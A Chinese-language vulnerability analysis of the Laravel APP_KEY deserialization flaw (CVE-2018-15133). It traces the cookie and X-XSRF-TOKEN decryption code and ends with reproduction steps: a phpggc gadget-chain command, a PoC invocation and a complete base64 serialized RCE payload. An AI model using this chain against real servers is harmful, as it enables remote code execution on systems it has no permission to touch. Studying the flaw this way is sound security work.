laravel框架APP_KEY泄露的时候,可以通过cookie和X-XSRF-TOKEN触发反序列化漏洞,影响版本:5.5.x<=5.5.40、5.6.x<=5.6.29

环境安装

composer create-project laravel/laravel laravel5629 --prefer-dist "5.6.0"
修改composer.json中的5.6.0为5.6.29
更新:composer update
在routes/web.php新添加一条路由:Route::post('/', function() {return view('welcome');});

通过Cookie反序列化

跟踪代码app\Http\Middleware\EncryptCookies.php

<?php
namespace App\Http\Middleware;
use Illuminate\Cookie\Middleware\EncryptCookies as Middleware;
class EncryptCookies extends Middleware
{
    protected $except = [
        //
    ];
}

跟踪EncryptCookies的父类,vendor\laravel\framework\src\Illuminate\Cookie\Middleware\EncryptCookies.php,找到handle方法

public function handle($request, Closure $next)
{
    return $this->encrypt($next($this->decrypt($request)));
}

继续跟进decrypt方法

protected function decrypt(Request $request)
{
    foreach ($request->cookies as $key => $cookie) {
        if ($this->isDisabled($key)) {
            continue;
        }
        try {
            $request->cookies->set($key, $this->decryptCookie($cookie));
        } catch (DecryptException $e) {
            $request->cookies->set($key, null);
        }
    }
    return $request;
}

这里$request->cookies进行了遍历,将值传入了decryptCookie方法。继续跟进decryptCookie方法

protected function decryptCookie($cookie)
{
    return is_array($cookie)
        ? $this->decryptArray($cookie)
        : $this->encrypter->decrypt($cookie);
}

上面判断我们传入的是否为数组,不为数组进入到decrypt,跟进vendor\laravel\framework\src\Illuminate\Encryption\Encrypter.php的decrypt方法

跟进getJsonPayload方法

protected function getJsonPayload($payload)
{
    $payload = json_decode(base64_decode($payload), true);
    if (! $this->validPayload($payload)) {
        throw new DecryptException('The payload is invalid.');
    }
    if (! $this->validMac($payload)) {
        throw new DecryptException('The MAC is invalid.');
    }
    return $payload;
}

我们传入的payload会解密base64,再转化为json,所以这个iv和value是我们可控的,最终就可以来到第149行进行反序列化操作了。

通过X-XSRF-TOKEN头反序列化

跟踪代码app\Http\Middleware\VerifyCsrfToken.php

<?php
namespace App\Http\Middleware;
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;
class VerifyCsrfToken extends Middleware
{
    protected $except = [
    ];
}

跟踪VerifyCsrfToken的父类,vendor\laravel\framework\src\Illuminate\Foundation\Http\Middleware\VerifyCsrfToken.php,找到handle方法

public function handle($request, Closure $next)
    {
        if (
            $this->isReading($request) ||
            $this->runningUnitTests() ||
            $this->inExceptArray($request) ||
            $this->tokensMatch($request)
        ) {
            return $this->addCookieToResponse($request, $next($request));
        }

        throw new TokenMismatchException;
    }

继续更进tokensMatch方法

protected function tokensMatch($request)
{
    $token = $this->getTokenFromRequest($request);

    return is_string($request->session()->token()) &&
        is_string($token) &&
        hash_equals($request->session()->token(), $token);
}

继续跟进getTokenFromRequest方法

第140行获取头X-XSRF-TOKEN,又来到熟悉的地方了,更新decrypt方法,跟cookie造成的洞是同一个点。

漏洞复现

获取APP_KEY,在根目录.env文件里

phpggc获取laravel的反序列化的exp

php phpggc Laravel/RCE1 system "ipconfig" -b

利用kozmic的poc生成laravel rce的利用代码

php cve-2018-15133.php yyEsCy8SJCpScYkcEBvrRVHv9MDV43MliNS/4ETRJaw= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6ImlwY29uZmlnIjt9

参考文章

1.https://xz.aliyun.com/t/6533